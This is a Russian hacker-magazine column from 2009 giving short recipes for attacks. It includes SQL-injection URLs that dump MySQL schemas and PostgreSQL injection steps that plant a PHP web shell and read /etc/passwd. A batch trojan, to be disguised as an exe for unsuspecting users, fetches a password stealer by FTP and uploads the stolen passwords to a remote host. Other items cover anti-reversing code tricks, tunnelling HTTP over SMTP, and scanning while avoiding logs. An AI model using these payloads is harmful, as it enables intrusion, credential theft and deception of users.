Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #121, ЯНВАРЬ 2009 г.

Easy-Hack

Леонид «R0id» Стройков (stroikov@gameland.ru)
Леонид «Cr@wler» Исупов (crawlerhack@rambler.ru)
Андрей «Skvoznoy» Комаров (komarov@itdefence.ru)



Задача: Объединить вывод записей из таблицы БД в одну строку при проведении sql-инъекции в MySQL

Решение

Несмотря на свою «популярность», SQL-инъекции по-прежнему встречаются на множестве ресурсов. Но, как известно, основной проблемой при реализации скул-инъектов является вытягивание записей из табличек. Конечно, можно по старинке менять значение LIMIT'а, регулируя, тем самым, вывод данных в отображаемые поля. Однако есть более простой и действенный способ, заюзав который, ты получишь много данных и сразу. Речь идет о функции GROUP_CONCAT() в MySQL => 4.1 версии. Она позволяет объединить в одну строку несколько записей из таблицы (по аналогии с известной тебе функцией concat(), объединяющей несколько полей). Проще говоря, с помощью GROUP_CONCAT() ты можешь отобразить не одну, а сразу десяток-другой записей из таблички. Причем, максимальный объем получаемых тобой данных по дефолту ограничен 1 метром (aka 1024 байта), – именно такое значение имеет по умолчанию системная переменная group_concat_max_len. Конечно, слить всю необходимую инфу вряд ли удастся, но вот упростить себе жизнь можно изрядно. Итак, несколько важных особенностей функции GROUP_CONCAT():

  1. Функция позволяет задавать собственный символ разделения записей.
  2. Функция поддерживает работу с такими операторами, как DISTINCT, ORDER BY, ASC/DESC.
  3. Функция не поддерживает работу с оператором LIMIT.
  4. Максимальный объем получаемых с помощью функции данных - 1024 байта (по дефолту).

В качестве примера, рассмотрим получение списка всех БД и всех табличек для текущей БД с помощью функции GROUP_CONCAT() в MySQL => 5 версии.

1. Предположим, у нас есть sql-инъекция вида:

http://www.hacked.com/index.php?id=-1

2. Получим список всех БД (при условии, что данные <= 1024 байта) за один запрос в одном поле:

http://www.hacked.com/index.php?id=-1+UNION+SELECT+GROUP_CONCAT
(SCHEMA_NAME SEPARATOR 0?0a)+FROM+information_schema.SCHEMATA/*

3. Теперь получим список всех табличек для текущей БД (при условии, что данные <= 1024 байта) за один запрос в одном поле:

http://www.hacked.com/index.php?id=-1+UNION+SELECT+GROUP_CONCAT
(TABLE_NAME SEPARATOR 0?0a)+FROM+information_schema.TABLES/*

Думаю, принцип использования функции ты понял, а почитать дополнительную инфу по теме ты можешь в блоге Raz0r'а: http://raz0r.name/obzory/group_concat.
Удачи :).

Задача: Создать код, который будет изменять инструкцию, передающую ему управление, с последующим возвратом управления на нее же.

Решение

Иногда необходимо задать кодокопателю задачу и наставить ловушек, из которых выбраться будет непросто. Как тебе, например, идея: превратить некоторую исходную инструкцию PE-файла в переход к коду, – он будет выполнять модификацию этой инструкции перехода (от которой получил управление), превращая ее в исходную?

Схематично этот процесс выглядит следующим образом:

[Ручное выполнение преобразования над инструкцией - превращение ее в переход] > [Выполнение инструкции (переход к управляющему коду)] > [Выполнение кода обратного преобразования] > [Передача управления на преобразованную инструкцию]

Рассмотрим простой пример. Допустим, мы имеем программу, на точке входа (00401000) которой располагается инструкция «PUSH 0». Ее двухбайтный опкод выглядит как «6A 00». Предположим, что наш код обратного преобразования будет располагаться по адресу 00401026. Тогда инструкция перехода к нему будет выглядеть: «jmp 00401026», а опкод ее (также двухбайтный) равен EB 24. Значит, необходимо получить набор инструкций, который будет преобразовывать опкод «EB 24» в опкод «6A 00». Самый простой способ - применение логической операции «XOR» (хотя можно использовать любые, сколь угодно сложные, алгоритмы преобразования). Чтобы превратить машинное слово «EB24» в слово «6A00», необходимо выполнить операцию XOR с некоторым числом X: EB24 XOR X = 6A00. Вспомним математическую логику и получим число X следующим образом: X = 6A00 XOR EB24, откуда X = 8124. Учтем, что процессор забирает данные «задом наперед»; для преобразования одной инструкции в другую нужно будет выполнить операцию XOR 2481.

Итак, вот последовательность необходимых действий:

1. Открываем программу в OllyDBG и изменяем инструкцию «PUSH 0», расположенную по адресу 00401000, на инструкцию «jmp 00401026», имеющую опкод EB24.

2. Начиная с адреса 00401026, размещаем следующий код, выполняющий преобразование инструкции вызова:

00401026 MOV EAX, 00401000; помещаем в регистр EAX адрес изменяемой инструкции
0040102B MOV EBX, [EAX]; помещаем опкод инструкции в регистр EBX
0040102D XOR EBX,2481; выполняем операцию XOR - приводим инструкцию «jmp 00401026» к виду «PUSH 0»
00401033 MOV [EAX],EBX; записываем измененную инструкцию...
00401035 JMP 00401000; ... и передаем ей управление

3. Запускаем программу для пошагового выполнения и наслаждаемся результатами трюка. Это действительно работает!
Сей трюк - лишь часть обширного набора средств «запудривания мозгов реверсеру». Он прост, но содержит в себе большой потенциал: к примеру, можно производить множественные модификации одной инструкции, усложнять алгоритм преобразования, делая его неявным или «размазанным» по коду программы, – и так далее.

Задача: Замутить сервис по проверке файлов различными антивирусами

Решение

В последнее время можно наблюдать распространение сервисов по проверке файлов разными антивирусами. Одним из первых подобные услуги начал предоставлять известный ресурс www.virustotal.com. Впоследствии появился целый ряд подобных проектов, некоторые из них представляют собой вполне самостоятельные с технической точки зрения экземпляры, а большинство работает через www.virustotal.com (еще и деньги за проверку берут, в размере 1wmz за файл). Вот такие пироги :). Сейчас мы постараемся исправить эту несправедливость. Итак:

1. Ищем/покупаем/ломаем/etc сервер с наличием:

  • PHP5 с поддержкой cURL, доступ к функции set_time_limit();
  • Поддержка .htaccess;
  • Наличие веб-сервера (Апач/etc).

2. Заливаем содержимое архива (взять с нашего ДВД, респект автору - ChaaK'у) на сервер.

3. Ставим чмод 777 на каталог ./files.

4. Редактируем файл index.php, настройки которого выглядят следующим образом:

#~~~~~~~~~~~~~~~~~~~~Настройки~~~~~~~~~~~~~~~~~~~~~~#
$updir = 'files'; #папка для загрузки файлов
$maxfsize = 2048; #максимальный размер файла в КБ
$sleep = 5; #задержка обновлений в секундах (рекомендуется 5)
$abort = 180; #максимальное время проверки в секундах
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#

Вот, собственно, и все. При желании ты можешь модернизировать скрипт, естественно, не забывая про копирайты :). По неподтвержденным слухам, www.virustotal.com рассылает все загружаемые для проверки файлы антивирусным компаниям, но это лишь слухи и догадки. Так что, юзать или нет - решать тебе, а скрипт от многоуважаемого всеми ChaaK'а ты найдешь на нашем ДВД.

Задача: Получить доступ к файлам на сервере через sql-инъекцию в PostgreSQL

Решение

Несмотря на то, что самыми распространенными СУБД являются MySQL и MSSQL, нередки и случаи «знакомства» с PostgreSQL. У многих неопытных хакеров эта СУБД вызывает массу вопросов. Дабы не вводить тебя лишний раз в заблуждение, я проясню все еще раз – четко и доходчиво. Кстати, забегая вперед, скажу, что в PostgreSQL работать с файлами, хранящимися на сервере, гораздо удобнее, нежели, например, в мускуле. Изначально у нас есть два варианта:

  1. Залить веб-шелл и работать через него (наиболее удобный и предпочтительный вариант – увы, возможен не всегда).
  2. Читать содержимое каталогов и файлов на сервере (некий аналог функции load_file() в MySQL).

Теперь разберем алгоритм действий для каждого из вариантов. Чтобы успешно залить собственный веб-шелл через скул-инъект на сервер с PostgreSQL, необходимо:

1. Создать новую табличку (скажем, table_file).

2. Записать в одно из полей содержимое нашего веб-шелла (например, <? passthru($_GET[cmd]); ?>).

3. Выгрузить содержимое нашей таблички (веб-шелл) в файл, находящий в веб-каталоге.

В общем виде выглядит это так:

CREATE TABLE table_shell(column_shell TEXT NOT NULL);
INSERT INTO column_shell VALUES('<? passthru($_GET[cmd]); ?>');
COPY table_shell (column_shell) TO '/var/www/html/shell.php';

4. Также можно воспользоваться выгрузкой в файл:

COPY (SELECT '<?php system($_GET[cmd]); ?>') TO 'FILE_NAME'

Впрочем, иногда бывает невозможно произвести запись в веб-каталог, по причине отсутствия прав. В этом случае тебе помогут следующие фичи:

1. Подгрузка файла на чтение (аналог функции load_file() в MySQL):

CREATE TABLE table_file(column_file TEXT NOT NULL);
COPY table_file (column_file) FROM '/etc/passwd';
SELECT * FROM table_file;

2. Чтение указанного файла с n по m строку:

pg_read_file('bla.txt',n,m)

(где n и m - числовые значения соответствующих строк)

3. Листинг директории:

pg_ls_dir('/tmp')

4. Получение сведений об указанном файле:

pg_stat_file('users.txt')

Надеюсь, эти приемы помогут тебе ни один раз. Пробуй :).

Задача: Добавить в PE-файл возможность вызова API-функции, содержащейся в некоторой сторонней DLL

Решение

Для решения этой задачи воспользуемся утилитой «IID King 2.0», которая позволяет добавлять в директорию импорта PE-файла новые элементы.

  1. Скачаем с wasm.ru или найдем на DVD утилиту «IID King».
  2. Укажем программе файл, в который необходимо добавить импорт, выбрав его в окне обзора, которое открывается при нажатии на кнопку «Pick a file».
  3. Укажем программе dll, в которой находится добавляемая функция, нажав на кнопку «Click to pick DLL(s) and their API(s) to add».
  4. В появившемся окне, содержащем список API-функций, выберем необходимые и нажмем на кнопку «Add Them!».
  5. Завершим процесс добавления API в директорию импорта нажатием на «Add Them!», предварительно установив флажок «Backup» в окне программы (чтобы был создан bak-файл для восстановления программы в случае неудачи).

Готово! Дополняй функциональность приложения собственным кодом, использующим стороннюю DLL.

Задача: Конвертировать батник в exe-файл

Решение

Для решения бытовых задач, зачастую проще всего набросать небольшой батник и юзать его в дальнейшем. Иногда этот самый батник нужно впарить доверчивому юзеру, но как, если батник можно запросто просмотреть и изменить? Проблема отпадает сама собой, если к ее решению подойти не с пустыми руками, а при помощи утилы ExeScript, которая создана специально для конвертации .bat-, .vbs- и .js-скриптов в исполняемые ехе-файлы. Алгоритм действий прост:

  1. Сливаем тулзу с нашего DVD.
  2. Инсталлируем на комп.
  3. Запускаем утилу, в окне редактора вбиваем содержимое батника (либо vbs/js-скрипта).
  4. Компилим.
  5. Получаем готовый к употреблению exe'шник.

Кстати, подобным образом конвертированы многие известные тебе «утилы», создающие админский акк на удаленном компе и запускающие телнет-сервис. В качестве примера лови батник такого содержания:

@echo off
Echo open xxx.xxx.xxx.xxx>go.txt&&echo ftpuser>>go.txt&&echo 12345>>go.txt&&echo get passexport.exe>>go.txt&&echo bye>>go.txt
Echo open xxx.xxx.xxx.xxx>send.txt&&echo ftpuser>>send.txt&&echo 12345>>send.txt&&echo send pass.txt>>send.txt&&echo bye>>send.txt
ftp -s:go.txt > nul
passexport.exe pass.txt
ftp -s:send.txt > nul
del go.txt send.txt passexport.txt pass.txt name.bat

Думаю, пояснять ничего не надо, верно? Для достижения наибольшего эффекта рекомендую использовать джойнеры, а также менять иконку ехе'шника.

Задача: Прокинуть HTTP-траффик через SMTP-порт

Решение

В решении этой нетривиальной задачи тебе поможет HoSproxy – HTTP over SMTP Proxy. Она состоит из двух частей: HoStunnel и HoSproxy. Функционирует все пока только под платформой Windows. Первая из названных отвечает за использование HoStunnel в качестве внешнего почтового сервера, который должен быть запущен от рута на 25 порту (TCP – SMTP). Он делает следующую вещь: все запросы писем из твоей внешней локалки будут достигать его (ты меняешь настройки соединения у себя в клиенте), а потом перенаправляться. На удаленном сервере будут формироваться HTTP-кодированные ответы и высылаться тебе обратно в почтовом письме. Вариант с HoSproxy нацелен на то, что будет поднята HTTP-proxy (tcp 8080), с которой будут прозрачно перенаправляться запросы на твои почтовые сервера. Они будут делать всю работу по преобразованию HTTP-документов и их последующей высылке напрямую тебе в браузер. Итак, действуем:

1. Качаем HoSproxy по адресу edge-security.com/hosproxy.php (или берем с DVD).

2. Редактируем конфиг Hospoxy.cfg следующего содержания:

# Твой рабочий SMTP-сервер в локалке:
#smtp.myserver.com
local_smtp_server=
# Требует ли он авторизации (Y/N)
smtp-auth=N
smtp-user=cdelojo@edge-security.com
smtp-pass=
# Здесь указывается спецификация используемого протокола (pop, imap,
#imapssl, popssl)
mail_retrieve_protocol=pop
# Указание сервера входящей почты в локалке
#pop3.myserver.com
mail_access_server=
#Имя пользователя
mas_user=cdelojo@edge-security.com
#Пасс
mas_passwd=
#Мыло, куда ты будешь получать письма с WEB-содержимым
email=cdelojo@edge-security.com
#Почта для совершения HTTP-обращений
ext_email=asdf@ligual.net

3. Запускаем hosproxy.exe и рвемся на любой сайт

Задача: Узнать открытые порты на удаленном узле не со своей машины

Решение

Первое, что тут приходит в голову - использовать клиент-серверные проекты. Другое дело, что, устанавливая подобное, ты можешь запалиться в логах. Более того, есть ряд ограничений (контроль портов администратором, host-based ips и т.п). Тем не менее, в решении задачи тебе поможет софтина Rnmap.

  1. Ставим на удаленном сервере NMAP (rnmap.sourceforge.net).
  2. Добавляем пользователя на доступ к софтине командой rnmap-adduser.py vasia.
  3. Коннектимся на соответствующий порт сервера со своей машины с помощью telnet или Grnmap.py и начинаем рулить сканированием.

Этой же архитектуры придерживается Nessus. А второй метод – это воспользоваться одним из онлайн-сервисов (t1shopper.com/tools/port-scanner). Правда, некоторые из них пишут логи, а некоторые нет. Пусть достаточно давно, но был наезд со стороны органов безопасности США на создателя NMAP, который имел такой сервис в тестовом виде для посетителей.

Содержание